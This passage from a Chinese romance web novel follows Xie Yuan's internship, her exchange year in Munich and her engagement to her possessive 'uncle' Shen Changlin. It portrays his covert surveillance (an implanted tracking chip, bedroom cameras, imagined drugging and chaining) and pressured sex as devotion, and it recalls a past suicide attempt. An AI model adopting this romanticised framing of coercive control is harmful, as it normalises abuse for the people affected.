会议室里的冷气压很重,沈长凛瞧着温柔好说话,却从来不是好脾气的人,尤其是在做事的时候。
他某些时候,会比那些直接摔东西的老总更叫人胆寒。
谢沅一点都不明白。
她站起身走到沈长凛身边,轻轻地跟他念行程:“叔叔……不,沈总,十点二十要见那个名字很长的俄国公司的伊万诺夫斯基先生。”
片刻后谢沅忽然又想到:“还有刚刚有个脸很长的经理来找您。”
“对不起,沈总,”她懊悔地说道,“我忘记问他的名字了。”
沈长凛刚动了怒,往常这时候都没人敢打扰,只盼着大小姐能打个电话过来。
他的容色还有些冷,听到谢沅的话,倏然轻笑出声。
跟在沈长凛身后的众人也差些没忍住笑出来。
原先大小姐要过来,还有人苦恼,她会不会很难伺候,会不会趾高气扬添很多麻烦。
此刻才明白,秦家这位大小姐,到底是个多有意思的姑娘。
怨不得连秦老先生都将她当掌上明珠似的疼着。
谢沅没有反应过来,头发就被沈长凛给揉了揉,他低笑着说道:“知道了,辛苦小谢助理。”
他冷着的容色,像春风般地和柔起来。
谢沅跟在沈长凛的身边,不明所以,但事情很紧,她也没有时间多想,便陪着他去别的地方。
他今天事情很多,到晚上八点才忙完。
谢沅也累得不轻,她算是明白沈长凛每天事情有多少了。
她坐在车里,靠在沈长凛的肩头,累得快要睡着。
这跟谢沅想象的太不一样了,她之前也来过沈氏集团和秦氏集团,但就是以大小姐的身份来玩,或者是来等沈长凛。
她今天还没做什么事,都只是做小助理,就累得要不成样子了。
好难想象沈长凛每天该有多忙、多辛苦。
沈长凛的容色却依然那样俊美,一缕倦意都没有。
谢沅原本还以为他会很坏地让她玩什么办公室play。
沈长凛阖着眼眸,听到谢沅这句话,直接就笑了出来,他笑着说道:“沅沅要是想玩,我可以安排,腾一些时间出来。”
谢沅羞得耳尖都开始泛红。
“不玩,”她拨弄着沈长凛的手指,“你好好工作。”
沈长凛还在笑,他扣住谢沅的腰身,将人抱在了腿上:“当然要好好工作,不然怎么娶公主呢?”
他一边温声言语,一边又轻轻吻上了谢沅的樱唇。
谢沅突然发现时间变得好快。
现在已经是八月下旬,再有三个多月,她就要准备嫁给沈长凛了。
谢沅被沈长凛抱着,不知不觉地就被他亲得晕晕乎乎的,连怎么被他抱下车、带回卧室吃干抹净的,都快要记不清。
实习的第一天,她过得很累。
但第二天谢沅还是起得很早,她坐在床边,抬眸看向沈长凛,眨着眼睛说道:“沈总,该起床工作了。”
他难得一次醒得比她晚。
沈长凛望着谢沅,薄唇微扬,眼底都是笑意:“好,小谢助理。”
谢沅在沈长凛身边实习了整整两周,刚开始只是做助理。
后来他见她无所事事,居然真的给她安排工作。
沈长凛含着漫不经心的笑意,轻声说道:“你是我的继承人,当然要参与决策。”
谢沅一个高中数学都学得艰苦的小孩子,被他逼着看文件和报表,两周过去,大脑都是昏昏沉沉的。
偏她骨子里带着点不服输,暗里还找了商学院的同学余温做请教。
这回返校的时候,谢沅就没有不情愿了。
她连夜写完的实习报告,写得很认真又很尽心,后来还被评为了【优秀实习生】,更有商学院的老师请她去做报告分享经验。
谢沅带着黑眼圈,在机场的休息室里补觉。
她昨天睡得本来就迟,沈长凛还折腾了好久,好在飞机是下午两点的,白天还能再睡会儿。
谢沅睡得昏昏,将要登机时沈长凛才将她叫醒。
他轻声说道:“放假后要记得早些回来。”
谢沅睡得懵懵的,她下意识地问道:“怎么了,叔叔?是有什么事吗?”
沈长凛捏了捏她的脸庞,眸色微暗,他倾身一字一句地说道:“当然是要早些回来嫁给我。”
第74章 “你为什么总想做我的爸爸?……
谢沅飞到慕尼黑时已经是傍晚。
落日霞光,山峦云影。
白昼和黑暗的界限被模糊,滚动的层云踏月而来,会令人想起消失在历史长河中的骑兵。
九月初的慕尼黑,处处都是巴伐利亚王城的古老风情。
而再过些时日,就是慕尼黑啤酒节。
谢沅坐在车上,安静地看着外边的风景。
这是她梦里的城市,也是她曾经想都不敢想的理想彼岸。
但现在她的那些愿望全部、都实现了。
谢沅撑着下颌,唇角轻轻地翘了起来。
这是她在这里的最后一个学期,也是最为游刃有余的一个学期。
之前的半年难熬至极,即便是谢沅也深受折磨,这学期她终于能稍微轻松些了。
课程的难度更大,课业更加繁重,可是她也更加熟悉这里的一切。
刚到的那些天,他们照旧去各处玩。
马上就是啤酒节,很多活动已经开始预热,谢沅还买了巴伐利亚的民族服饰。
裙子的颜色非常鲜艳,还镶了很多漂亮的花边。
谢沅的乌发在末梢打卷,轻轻披散在身后,她的雪肤皎白,在色泽瑰丽衣裙的映衬下更显柔美。
沈长凛一边看照片,一边和谢沅打电话:“很好看,沅沅。”
她趴在床上,刚做完作业。
沐浴后乌黑的长发未干,还有些湿潮,贴在颈侧和肩头,柔软的樱唇微微泛红。
谢沅一边吃着樱桃,一边软声说道:“我们拍结婚照片的时候,也拍一套这样的吧。”
她的眉眼微弯,眸中像是有星子摇曳。
沈长凛轻声说道:“好。”
谢沅还有好多话想说,上了一整周的课,她这时候只想扑到沈长凛的怀里,跟他讲事情。
但一看时间,已经快要燕城时间的两点。
沈长凛明天没有事情,谢沅还是紧忙说道:“已经很迟了,叔叔,您早些睡吧。”
现在是夏令时,但跟燕城还是有六小时的时差,十分讨厌。
他轻笑一声,说道:“好,沅沅也早些睡。”
跟沈长凛挂断电话后,谢沅把头发吹干。
这学期她又住回到了她的小公寓里,单人床柔软,贴着墙壁,夜风会吹进来,晚上睡觉十分舒服。
温思瑜和秦承月那边也终于闲下来。
他们原本打算暑假来看谢沅的,但沈长凛不让她在这边多留。
于是他们只能月底再过来,刚好那时候啤酒节也要开始了。
一转眼两人到这边快一年了。
谢沅都快忘记秦承月是什么模样了,最后一回见他是温思瑜和明席的订婚宴上。
那是一场很盛大的逃婚,谢沅现在都记得当时有多紧张。
如果温怀瑾没有出手相助,恐怕温思瑜早就被迫嫁给明席了,但想到温怀瑾在那时候想要对她图谋不轨,谢沅还是对他很生气。
她不太能理解男人的欲念。
也不想去理解他们。
慕尼黑啤酒节在九月底开始,十月初结束,持续整整两周。
虽然不是国家法定节日,但这种时候就没有人还能平意静心地好好读书。
谢沅提前好久便开始看书、做作业,就为了到时候能玩得更自在些。
可她没想到的是,那天来的人相当多。
周末的一早,接到外祖母江夫人电话时,谢沅整个人都是懵然的。
“沅沅,外婆来看你了。”江夫人蔼然地笑道,“你现在在学校这边吗?”
她早先就想来看谢沅。
但沈长凛总以谢沅学业繁重的理由拒绝,暑假更是一天都没多留,直接将孩子接走了。
这回江夫人没理他,直接亲自过来了。
谢沅懵懵的,下意识地应道:“我在,外婆。”
“好,那你稍等一下,”江夫人笑着说道,“外婆还有一个小时就过来了。”
温思瑜和秦承月也还有一个小时就过来了。
谢沅紧忙就想开口,但江夫人很快将电话挂掉:“待会儿来接一下外婆,沅沅。”
最近来慕尼黑旅游的人非常多。
夏季本来就是这边的旅游旺季,更不要说还有啤酒节。
谢沅没来得及再做什么,住在隔壁的邻居就敲开了她的门。
“沅沅,你在家里吗?”同为交换生的邻居用中文急匆匆地问道,“我这边的水管坏了,你能过来帮我看看吗?”
谢沅根本不懂修水管的事。
她只是之前水管坏过一回,照着网上的教程修理过。
谢沅是个生活自理能力很差的人,在家里的时候,她是真的什么都不会。
但出来独居以后,她这样不擅长处理家中事情的人,也偶尔会被周围的朋友、同学当做救星。
邻居十万火急,谢沅没有办法,只好先过去帮忙。
她根本不会修水管,硬着头皮找到油管上的那个视频,依葫芦画瓢地试了试。
奇迹的是,水管居然真的修好了。
邻居高兴地抱住谢沅,感激地说道:“谢谢你,沅沅!”
谢沅羞得厉害,拒绝了邻居想让她留下来用早餐的邀请,急忙说道:“我外婆和姐姐她们要过来,我先去接她们了。”
但最后她的口袋里,还是被装了好多的巧克力。
谢沅离开后,就匆忙去接江夫人和温思瑜等人。
她走得很急,差些跟正准备出门的几个朋友撞到。
明丞身边的人疑惑地说道:“发生什么了?沅沅这么急。”
明丞抿了抿唇,没有言语。
过去的时候,谢沅的脸庞都透着绯色。
她抬头就看见江夫人正坐在咖啡馆的露台,浅浅地抿着咖啡。
“真是多谢你了,”江夫人用中文说道,“我是过来看家里孩子的。”
她身边的青年笑着说道:“真巧,我也是来看家里弟弟的。”
江夫人戴着礼帽,手臂上也套着长手套,姿态优雅从容。
“你弟弟也是燕大的吗?”她和蔼地笑了一下,“叫什么?说不定我家沅沅还认得呢。”
“是燕大的,”他笑着应道,“叫明丞,是我堂弟。”
那青年不是明席还能是谁?
谢沅的心跳都要凝滞。
她都不知道该先震撼明席和明丞是一家人,还是先震撼明席和江夫人撞到了一起。
就在谢沅竭力做着心理准备,打算走上前时,她忽然听到一个熟悉的声音响了起来。
温思瑜戴着墨镜,身着酒红色的长裙。
她摘下墨镜,拧着眉说道:“明席,你怎么在这儿?”
谢沅眼前发黑,终于明白何为彻底的兵荒马乱。
如果可以的话,她真想找个地方躲起来,然而下一瞬陪在温思瑜身边的秦承月就看见了她。
他抬起眼帘,像兄长般唤道:“沅沅!”
谢沅躲都没地方躲,就被四人的目光同时盯了过来。
她眼前发晕,很想就这样昏过去。
但让谢沅更崩溃的是随后过来的明丞等人,他抬手唤道:“哥!”-
谢沅的公寓很小,她自己住还算舒心。
可现在这个小小的房间里,得坐了七八个人。
长沙发和小沙发都被坐满了,她不得不找隔壁邻居借了椅子。
邻居很感谢她,顺道拿着各种点心一起过来了。
“真是巧,”江夫人笑着说道,“原来你就是明家的那孩子呀,我先前听长凛提起过你。”
明席笑容灿烂,说道:“我也没想到和您这么有缘。”
秦承月也温声应道:“早知道您过来,我们先去接您了。”
在座的无一不是社交能手,只有谢沅这个东道主最不擅长社交。
她从来没有面对过这种场合,把之前做的小点心拿过来,脸庞上透着绯色,把甜点分给众人。
江夫人拈起一块,真诚地夸耀道:“我们沅沅做的点心真好吃。”
她一边优雅地吃着点心,一边毫不留情地说道:“你外公就没福气,吃不到了。”
谢沅原本还担心这群人不习惯用手,准备拿餐叉和小碟子,一转眼他们把小点心全都吃完了。
明席是专门来旅游的,看明丞只是顺带。
“沅沅阿丞你们有事吗?”他笑着说道,“这几天啤酒节,能带我们转转吗?”
谢沅真的不知道,明席是怎么和江夫人成为“我们”的。
但最后的结果就是,他们真的一起出去了。
谢沅还换上了那条很鲜妍的巴伐利亚风格的裙子。
江夫人亲自给她拍了好些照片,她和蔼地笑道:“等晚些时候,我发给长凛,让他也看看。”
谢沅的脸庞微红,她软声应道:“好,多谢外婆。”
随即她陡然意识到,同行的众人还不知道她跟沈长凛现在的关系。
除了那日偶然撞破少许的明丞。
谢沅轻咳了一声,硬生生地补充道:“叔叔之前还让摄影师给我拍了照片,我到时候也让他发给您。”
小孩子不太懂什么是欲盖弥彰。
江夫人笑得意味深长:“你叔叔给我看过了,沅沅很漂亮。”
秦承月、明席和明丞都没反应过来。
温思瑜的眉头却是微微蹙了一下,但她到底没说什么。
女人在这方面,总归是比男人要敏感许多。
白昼时的音乐比较和缓,到了晚上六点以后,摇滚乐和流行乐开始激荡。
众人玩了整整一天。
谢沅的胳膊被江夫人挽着,如果不是沈长凛明令禁止,他们多少是要让她喝些啤酒的。
毕竟啤酒节,不喝啤酒还能喝什么呢?
谢沅连浅尝辄止都不敢。
她抱着大杯的果汁,咬着吸管喝了好久。
晚上谢沅到底不好带着众人回公寓,于是就回了沈长凛准备的那座小别墅。
司机驱车过来接他们,将众人一起带回到那座建在半山上的小别墅。
管家、保姆和厨师都很高兴,热情地欢迎众人过来。
谢沅躺在小别墅的卧室里,感觉人都要累得没有了,一整个周末,她都花在了玩乐上。
她体力差,之前沈长凛就讲她。
现在跟江夫人一比,谢沅才意识到她的体力到底有多差。
周末的晚上,她送他们去完机场回来,回到家里后就昏昏地睡去。
第二天五点,谢沅硬生生从床上爬起来洗了个澡,然后才去上课。
中午回来,沈长凛跟她打视频。
谢沅眼泪汪汪,想要开始跟他讲事情,发现都找不着头绪,不知道从何说起。
逻辑思维能力向来不错的她,最后语无伦次地讲完了周末发生的事。
沈长凛听完,笑了许久。
谢沅更生气了,把电话挂掉后继续去补觉。
好在下午没有课,她一直睡到晚上,晚餐都没有吃便继续去上晚课。
谢沅连轴转了好些天,等到她熬完期中考试的时候,都已经十一月了,她和同学们一起出来玩时,才发觉外面树木的叶子都掉光了。
伤春悲秋,是哪个时代、哪个地方的人都免不了的事。
他们这群人却都很高兴。
现在是十一月,再过一个月,他们在这里为期一年的交换就要彻底结束了。
谢沅今年大四,她这边甚至已经开始准备毕业论文的事情。
连导师都已然找好了。
而她还要走向人生最关键的一个节点——婚姻。
曾经的谢沅惧怕结婚。
想到毕业就要嫁入秦家,她怕得做梦惊醒后会再也睡不着觉。
但一想到,再过些时日就要嫁给她爱的人,谢沅心里涌起的都是快乐的情绪。
谢沅站在尖顶教堂的高处,望向远处的群山,忽然生出一种很开阔的感觉。
十五岁的时候,她的生命都是黑暗的。
在最绝望崩溃时,谢沅尝试过自杀。
她想离开这个世界,去找寻她爱的人。
谢沅现在都还记得,身躯浸泡在温水里是什么感触,腕间的血无声息地流淌。
在药物的作用下,她感觉不清楚什么是疼痛,只是能够模糊地觉察到生命的流逝。
可是现在再度回望往事的时候,谢沅的心境是平定的,那些事情过去好多年、好多年,她终于可以说她走出来了。
——从那个绝望的深渊里。
十一月底开始准备期末考试后,谢沅又很乖地搬到了小别墅里。
沈长凛难得有空,想要来看她,谢沅也拒绝了。
她红着脸庞,细声说道:“不行,叔叔,您过来我就不想再学习了。”
“那结束的时候,”沈长凛轻声说道,“我再去接你,好不好?”
到底是在这边交换了一整年,还认识许多新的同学,他们早先就准备等到考试结束后,一起聚餐一回,谢沅之前答应过,也不好再拒绝。
沈长凛也同意了。
谢沅柔声说道:“好,叔叔。”
今年气候反常,慕尼黑很早就开始下雪,她窗外的山林已经覆了一层白。
薄雪与浓雾交织,天地都是一色。
沈长凛心神柔软,温声说道:“早些睡,沅沅,不要太累着。”
“我看完书就去睡,”谢沅乖巧地说道,“您也早些睡。”
挂断电话后,谢沅把笔记又翻了翻,她的论文全都写完了,复习开始得很早,其实也已经差不多。
但麻烦的是燕大那边毕业论文的开题报告。
学校很人性化,给的时间很宽裕。
可谢沅想到时候能多陪沈长凛,于是提前很久就开始准备,再加上导师是很熟悉的教授,她的开题报告早先就写完了。
框架定下来后,已经在着手初稿。
谢沅竭尽全力地挤了一回时间,最终是将双线的事务全都处理完了。
累得太过,期末考试结束的那天,她方才有了一些真实感。
天上下了好大的雪,鹅毛般的大雪纷纷扬扬地往下落着,当真是玉树琼枝、银装素裹。
欧式的建筑在落雪时的风景格外的漂亮。
已经看惯的学校,再度充斥吸引力。
谢沅站在长廊里,在窗边顿足了许久,正当她打算离开时,一位教授忽然叫住了她。
她仰起头,才发觉是她之前上得很辛苦那门课的老师。
来德国的第一个学期,她在他的课上拿了C,当时难过了好久,后来努力一整个学期,才终于拿到她想要的A+。
后两个学期,谢沅还有课是他的。
她是个安静的孩子,到了这边后也是一样的,没有想到这位教授竟然记住了她。
白发的德国人有着深邃的蓝色眼睛。
他上课时严厉,此时眸里却带着些和蔼:“你要离开了吗?”
这句话一语双关。
谢沅一时之间没有意识到他想问的是什么,她本能地回答道:“嗯,这学期结束后我就要回国了,谢谢您的教导。”
她礼貌地向教授鞠了一躬。
德国人温声说道:“祝你顺利。”
“你是我教授这门课的几十年来,得分最高的学生,”他蔼然地说道,“替我向你的老师说一声感谢。”
他的话语非常含蓄,赞许的意味却是那般分明。
昨天有一位很温柔的助教学姐,也曾跟谢沅说过类似的话。
她无论如何也没有想到,会在这位严肃苛刻的教授口中,听到同样的夸奖话语。
谢沅握紧背包的细带,正欲说些什么,这位教授便很潇洒地转身离开了。
她一直都很内敛,此刻却忍不住,隔着长长的廊道,高声说道:“您也是我遇到的最好的老师,谢谢您!”
窗外的大雪纷纷扬扬地下。
谢沅的胸腔里却都是热的,有什么滚烫的物什在涌动。
她走下阶梯,总是在固定位置等她的司机不知为何不见了。
就当谢沅打算给他拨电话时,一道熟悉的声音忽然响起:“回头,沅沅。”
沈长凛身着黑色的大衣,唇边含笑,正眉眼温柔地望向她。
这个场景,像是梦境中才会出现的。
谢沅小跑着上前,扑到了沈长凛的怀里,她明明是高兴的,可眼眸里忽然就盈满了泪水:“我好想你呀,叔叔。”
沈长凛将谢沅直接抱了起来。
他吻了吻她,柔声说道:“叔叔也很想你。”
在慕尼黑的大雪里,谢沅结束了她为期一年的交换,也要开始她人生的新篇章-
慕尼黑的暴雪来得很突然,航班也因之延误。
谢沅和沈长凛干脆在慕尼黑多待了一些时日,她牵着他的手,带他踩雪看风景。
“叔叔,我幼稚园在滨城读的,”她笑着说道,“那边没有雪,后来到宁城读小学,我才第一次见到雪。”
谢沅声音柔软:“我爸爸特别好,他总是牵着我的手踩雪。”
谢知是个典型的天才。
于学术严谨,于生活郑重。
如果不是谢沅讲起,沈长凛也想象不到,那位早逝岳父的另一面。
他温柔地扣住谢沅的指节,笑着说道:“回到燕城,叔叔还能陪你一起踩雪。”
谢沅弯起眉眼,声音娇娇的:“做我的叔叔和丈夫还不够吗?你为什么总还想做我的爸爸?”
沈长凛声音散漫,略带慵懒地说道:“因为我很贪婪。”
“如果可以的话,我还想陪沅沅一起长大。”他轻笑着说道,“我想守护我的宝贝,让她一生都顺遂无忧。”
当年那个傲慢矜贵到无以复加的沈三公子,到底是落入了凡尘里。
他曾经不染人间烟火。
可是现在他只希望他的爱人能快乐。
谢沅仰眸看向沈长凛,眼眶蓦地酸涩起来,她将脸庞埋在他的肩窝里,忽然就哭了出来。
“你现在也很好,”她带着哭腔说道,“特别特别好。”
沈长凛的性子阴晴不定,对很多事都不挂心上,唯有对谢沅,他生出了病态的偏执情绪。
他渴望掌控、占有和掠夺。
哪怕不顾谢沅的意愿,沈长凛也是想要将谢沅时刻放在眼前的。
他受不了她的离开,在家中时都是那样,她每次跟人出门,都必须报备行程和随行人员,就是这样他还是要让人暗里跟着的。
有一件事,沈长凛从来没有提起过。
但谢沅却知道。
她身上有很多的定位器,其中最隐秘的一个是芯片,埋藏在她的皮肤之下。
大概就是紧贴在踝骨左右的地方。
植入式的定位器,就像谢沅卧室里的监控一样无声。
可即便如此,沈长凛对谢沅还是怀着病态的保护欲,他不放心她离开他身边片刻,总希望他停留在他的视野里。
然而就是这样一个人,在她说想要去德国交换时,还是选择了同意。
这并非是因为沈长凛病态的欲念减弱。
只是因为他很爱谢沅。
爱是克制,是隐忍,是包容,是抗衡血脉里的本能。
谢沅和沈长凛在慕尼黑一直待到十二月的中旬,天终于放晴,朝阳明媚,照彻万里。
那天的天气很好,风都没那般凛冽。
上午十点,飞机抵达燕城南郊的国际机场。
休息过后,谢沅回学校提交材料,沈长凛去处理近期的一切事宜。
他们回到燕城的第三天,经久未开的秦家大宅设宴。
——宴秦家家主沈长凛与沈家大小姐谢沅的订婚仪式。
第75章 “宴白,叫婶婶。”
谢沅没怎么到过秦家。
虽然一直有人在打理,这处宅邸已经多年没有人居住,秦老先生一直在外面,秦承月也不住在这边,只有沈长凛刚回国时短暂待过一段。
从前的装潢非常有簪缨世家的厚重感。
但后来沈长凛令人重新设计,将整个秦家都整修了一遍。
谢沅腰肢纤细,皓腕白皙。
她身着精致的礼服裙,第一次以沈长凛未婚妻的身份出现在公众场合。
准确的说,谢沅已经是沈长凛的妻子了。
如今这世代,早没那般重声名礼节。
但沈长凛将谢沅保护得很好,他不希望任何的风言风语扰动她的心迹。
在事情尘埃落定之前,占有欲强势如他,也没有事先透漏分毫,除却对某些必要的人,例如霍阳,例如温怀瑾,例如她那个明显图谋不轨的同学。
直到订婚之夜。
连沈蓉都不知道谢沅和沈长凛的事。
她绞着帕子,牙关紧咬着,心绪乱如一团麻。
怎么可能?
沈长凛的身份地位多尊崇,他哪里会看得上眼谢沅?她出身低微,沉默寡言,性子闷得叫人有些厌烦。
沈宴白都那么讨厌她,沈长凛怎么会看得上谢沅呢?
再一想到之前撮合谢沅和温怀瑾的事,沈蓉只觉得后怕至极。
她从不敢以沈长凛长姐的身份自居。
这个异母的弟弟瞧着温柔矜贵,实则冷酷凉薄,那双浅色的眼看似淡漠,深处透着的却是令人恐惧的阴狠。
当初沈长凛处理沈家那些人时,沈蓉就明白。
得亏沈宴白他父亲是自己车祸去世的,她想都不敢想,要是落到沈长凛的手里,他的下场该有多可怖。
温先生也紧绷着身躯。
他是有一些神经质的,因此才斥巨资在燕城建了疗养院。
原本是想让自己不适时有个去处。
这些年来,温家看似繁花似锦,个中到底有多少艰辛,就只有他自己知道。
温先生来回地走动着,他口中念念有词,须臾忽然用俄语骂了句脏话,抬头看向妻子沈蓉:“这么重要的事,你就一点都没觉察到吗?”
沈蓉自从女儿温思瑜逃婚后,就再也没有好过。
今天知悉谢沅和沈长凛的事,更是濒临崩溃。
沈蓉好面子,她这辈子都在乎的就是体面和尊严,曾经在港城念书时,沈家正是飘摇的时候。
太多人看不起她,可是后来港城衰落,她却嫁入豪门世家温家。
沈蓉在温家做小伏低,苦心经营半生,终于见到希望的曙光,却不想一头栽进了彻头彻尾的黑暗里。
她跟谢沅没什么可比的,一个是姑姑,一个是侄女。
然而只要一想到谢沅这么好的命,沈蓉就嫉恨得要发疯。
谢沅原本只是一个工具,是她拿来利用的、得心应手的工具。
无论是让谢沅跟秦承月退婚,让她求沈长凛,还是后来想将她赠予温怀瑾时,沈蓉都是以上位者的姿态在俯瞰谢沅。
寄人篱下的姑娘,人也没那般讨喜。
能为她做些什么,就已经是谢沅的荣幸。
可是现在沈蓉的脸被打得发疼。
“你慌什么?”她勉强笑容,挽住丈夫的手臂,“都不过是做戏罢了,秦沈两家的联姻是必然。”
“长凛怎么可能会爱谢沅?”沈蓉的声音微抬,红唇张合,“他什么样的女人没见过,谢沅她祖父是谢敏行,又对秦家有恩,长凛才表面宠她罢了。”
她咬着字句说道:“其实都是利益所须。”
沈蓉压低声,继续说道:“要真那般重视,秦老先生和江夫人,还有宴白他们能不过来?”
温先生脸上的急色褪去少许。
“你说得对,”他也抬起笑容,“不过话说回来你这侄女,命可真好。”
如果没有厚重的妆容遮着,沈蓉这会儿的脸色是没法看的。
这话她或许骗得过别人,却骗不过自己。
沈蓉的指甲死死地掐住掌心,当再度进去主厅,看到亲切陪在谢沅身边的秦老先生和江夫人时,她的心彻底地凉了。
小姑娘穿着礼服,站在聚光灯下。
二十出头的年纪,容颜柔美,笑容灿烂,漂亮得宛若盛放的新花。
那身礼服是裙摆是鱼尾状的,如鳞片般闪耀着,乍一看像是光片,仔细看去才能发觉全都是钻石。
谢沅陪在两人的身边,姿态从容,浅笑娇柔。
她的脸上再无曾经的局促和无措,像是一位真正高贵的大小姐。
这气势到底是在德国一年学来的,还是被人娇惯疼爱滋养出来的,就是傻子也看得出来。
须臾,沈长凛过来,他亲昵地执起谢沅的手,含笑与她说着些什么。
矜贵尊崇到无以复加的人,满眼都是疼宠和溺爱。
温先生极力控制情绪,声音还是微颤:“你确实他们之间只是联姻吗?”
沈蓉的脸色比他还要难看得多。
她想到去年夏天时的事。
当初温思瑜和秦承月的事被爆出,沈长凛那般直接地同意谢沅和秦承月的婚约解除,到底为的是两家的声名,还是那份不可告人的私心——
沈蓉的心底都是恐惧。
如今她总算明白何为竹篮打水一场空,她机关算尽,最终全是为他人做嫁衣!
可是这个秘密,沈蓉一辈子都只能藏在心里。
甚至在她濒临崩溃的时候,待会儿还要跟他们送上祝福。
沈蓉眼底的怨毒和嫉恨太清晰了。
也不知道她变着法想要利用谢沅时,有没有想过这一天?
沈长凛轻笑一声,他握住谢沅的手,没让沈蓉见她,直接当众落了沈蓉面子,带着谢沅离开。
谢沅已经长大,不须要温家人做玩伴。
温思瑜也已经脱离温家,往后温家如何都跟他们再无关系。
沈长凛自己对很多事都无所谓,不过伤害过谢沅的人呢,他是一个都不打算放过。
谢沅没有注意到姑姑沈蓉的表情。
她甚至没有注意到沈蓉的到来。
沈长凛牵起她的小手,她就乖乖地跟着他离开。
谢沅的指节纤细,明眼人都看得见,她无名指上是一枚怎样精致昂贵的订婚戒指。
也不知是请了多么厉害的设计师,那枚戒指美得令人恍惚。
粉钻熠熠生辉,微尘般的瑕疵都没有,完美得像是天边的皎月。
秦家近年来对设计领域的涉猎,在这个夜晚全都有了答案-
订婚宴盛大至极,到场的非富即贵,然后就是各界的名流,虽然是在冬天,但主厅里的所有花瓶里盛着的都是还带着露水的玫瑰花。
在主厅之后,更是有一整面花墙。
这种无声息的奢华比金银珠玉更叫人咂舌。
自始至终,沈长凛都执着谢沅的手,早先就有人猜测,谢沅和秦承月的婚事不成,秦沈两家总还有别的法子联姻。
那时很多人都以为谢沅要下嫁秦家某位旁支了。
却不想,最后是秦家家主沈长凛把她娶入家门。
有人困惑迟疑,问道:“可是从沈家那边算的话,沈总和谢小姐不是叔侄吗……”
然而还没问完,就有人打断:“你到底懂不懂?当初是姓沈的运气好,入赘到秦家,沈总虽然姓沈,骨子里都是秦家人。”
谢沅也不知道沈长凛是怎么处理的。
但她浏览网路的时候,真的没有看到一则风言风语。
订婚宴太过盛大,谢沅回家后睡了好久,感觉才缓过劲来。
她仰躺在床上,执着平板来回地刷,看那天的照片,唇角翘起,笑得甜甜的。
“这个摄影师拍得好厉害,叔叔。”谢沅软声说道,“我当时差点要跌倒,可是这个摄影师拍出来,就特别好看。”
她领了证,订了婚。
可在家里在沈长凛跟前的时候,谢沅还是像个孩子般,言语会带着稚气。
她只在外间,看起来会比较成熟,比较像个大人一点。
沈长凛的手臂撑在谢沅身侧,他俯身看照片,唇边含着笑意:“那是因为我们沅沅好看。”
他真是越来越会说情话了。
谢沅勾住沈长凛的脖颈,亲了亲他的脸庞。
她的脸庞微红,小声说道:“叔叔也好看。”
谢沅这个婚订得非常轻松,全程都是沈长凛在处理,她只负责试礼服和订婚宴当日的出场。
她在德国待了近乎一整年。
这段时间,沈长凛有空闲,把谢沅这一年来欠的全都补上了。
她昏昏沉沉的,每次睡醒都是渴醒的。
沈长凛扣住谢沅的指节,慢条斯理地揉她的后颈和细腰,声音轻柔地诱哄她。
她偶尔反应不过来,被他弄得眼泪掉个不停,哭到气都喘不上来,他方才放过她。
谢沅过了段很放纵的生活。
昼夜颠倒,日日笙歌。
她在德国的时候,除了有时视频被沈长凛逼着外,就再没有什么。
被精心滋养的花朵,如今是越发的娇贵美丽。
谢沅刚开始有些食髓知味,后来实在无法忍受了,她哭得眼眸都肿了,啜泣地说道:“你、你骗人,你一点都不清心寡欲。”
她哭得很委屈,但攀住男人脖颈的手臂却很诚实。
甚至连一点想逃的念头都没有。
“我什么时候说过我寡欲了?”沈长凛低笑一声,“谁告诉你的?”
刚跟谢沅在一起时,他还会敛着。
后来知悉她心有所属,那个人还是沈宴白后,沈长凛就再也没有怜着谢沅过。
心他得不到,身他还能得不到吗?
沈长凛做过最坏、最坏的打算,就是给谢沅喂药,用锁链束缚住她的脚踝,把她关在家里,让她永远都离不开他。
但这些也不过是恶欲最汹涌时的晦念。
谢沅一哭,他连一声“疼”都听不得。
小姑娘的肩头颤着,她哭得更厉害了。
谢沅也发现了,她对沈长凛寡欲淡漠的认知,一直都是从别人口里听来的。
都是他不近女色,是再冷淡不过的人。
谢沅又没有过别的男友,不知道旁人是如何的,现在她才意识到,每夜讨要那么狠的沈长凛,哪里可能是寡欲淡漠的人?
他先前也不过是因为她学业繁忙,才会克制少许。
谢沅大颗地掉着眼泪。
她的身躯颤着,连揉揉眼眸都来不及,就忍不住哭得更厉害。
沈长凛扣住谢沅的细腰,轻声说道:“别哭了,嗯?”
“之前是不是跟你说过?”他声音微哑,“你越哭,就越结束不了。”
谢沅过得混乱,直到沈长凛要前去宁城,她这种生活才终于结束。
她坐在落地窗边的小沙发上,捧着热果汁大口地喝着,矮几上还放了很多薯片和零食。
外间的青绿早已变为一片枯枝落叶。
只有松树万年长青。
隆冬将至,寒风凛冽,但卧室内依然温暖如春,谢沅穿着毛茸茸的睡裙,盘腿坐在小沙发上,很自在地吃着垃圾食品。
她把帽子也戴上了,身后是一对摇晃着的兔耳朵。
沈长凛离开后,谢沅还是一直待在家里。
她今年在德国一年,比在国内上了两年学还累。
谢沅像个小咸鱼一样,好好地休息了几天,直到回去燕大开题答辩的那日,她才再度出门。
天气预报说快要下雪了。
因为暴雪航班延误的那几天,谢沅和沈长凛在慕尼黑看了好久的雪。
她都差些忘记,燕城今年和没有落雪。
谢沅很想去学开车,然后去考个驾照,沈长凛之前一直不同意,最近方才软了语调。
但还没有考完,还是司机送她过去的。
谢沅自从提交材料后,已经很久没到过燕大了,曾经熟悉的地方,隐约变得有些陌生,但风景还是很好。
隔壁某个大学冬天就很惨,冬天总是会有很多乌鸦。
谢沅虽然在外面,但一直有跟导师联系,她的初稿在慕尼黑时就写完了,现在已经在准备二稿。
她的导师知道些豪门的事,也知道她之前的事。
但他对谢沅毕业就结婚的事,还是很震惊,他们这一代人,深受自由主义的影响,观念上比谢沅还要更现代、开放。
可一想到谢沅嫁给这个新丈夫后,以后还能继续读书。
他就觉得也还可以接受。
开题答辩非常顺利,谢沅是第一个结束的,余下的时间全花在和导师的聊天上了。
他是她的本科论文导师,也是她未来的博士导师。
谢沅站在窗边,柔声说道:“老师,不是我不想赶快回来,是之前慕尼黑那边下暴雪了,我们耽搁好久。”
他笑着说道:“是祖师爷他们想多留你一会儿。”
两人聊到五点,等到众人都结束后,谢沅方才离开,她来的时候天色就灰蒙蒙的,此时真的开始落雪。
小雪下得并不急,被风吹着。
但这到底是燕城今年的第一场雪。
谢沅在楼上就看到许多人在拍照,她乘电梯下楼,也想拍些照片。
沈长凛还在宁城,他说事情结束得早,就今晚回来,结束得晚,就明天下午再回来。
现在还没发消息,应当是要明天才能回。
谢沅正欲走出电梯间时,忽然瞧见了一个熟悉的侧影,她满心惊喜,抬声唤道:“叔叔。”
那双眼眸的颜色很浅。
